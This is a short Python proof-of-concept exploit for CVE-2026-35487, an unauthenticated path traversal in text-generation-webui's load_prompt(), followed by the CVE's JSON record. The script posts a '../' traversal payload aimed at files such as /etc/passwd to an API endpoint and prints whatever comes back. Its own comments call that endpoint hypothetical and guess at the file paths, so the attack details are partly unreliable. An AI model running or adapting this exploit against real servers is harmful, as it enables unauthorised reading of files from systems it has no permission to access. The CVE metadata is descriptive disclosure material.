CVE-2026-35487

import requests # Exploit Title: CVE-2026-35487 text-generation-webui Path Traversal PoC # Description: Unauthenticated path traversal allows reading any .txt file via load_prompt() # Target configuration target_host = "http://127.0.0.1:5000" # The vulnerability exists in the load_prompt functionality. # Attackers can traverse directories using '../' sequences. # Note: The vulnerability description specifies it reads any .txt file. malicious_payload = { # Attempting to read a sensitive file (e.g., config.txt located in parent directories) "prompt_file": "../../../../../etc/passwd.txt" # If the system reads /etc/passwd (without .txt), try targeting a known .txt file location. # Example: "../../../../../windows/win.ini" if the app appends .txt automatically. } print(f"[*] Attempting to exploit {target_host}...") try: # Sending the request to the hypothetical endpoint response = requests.post(f"{target_host}/api/v1/load-prompt", data=malicious_payload, timeout=10) if response.status_code == 200: print("[+] Request successful! Check response content below:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-35487", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:26.853", "lastModified": "2026-04-09T18:46:11.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "text-generation-webui is an open-source web interface for running Large Language Models. Prior to 4.3, an unauthenticated path traversal vulnerability in load_prompt() allows reading any .txt file on the server filesystem. The file content is returned verbatim in the API response. This vulnerability is fixed in 4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oobabooga:text_generation_web_ui:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3", "matchCriteriaId": "7B0114B9-7FD7-45A2-9103-936373FF3445"}]}]}], "references": [{"url": "https://github.com/oobabooga/text-generation-webui/security/advisories/GHSA-mfgg-vvc6-vqq7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}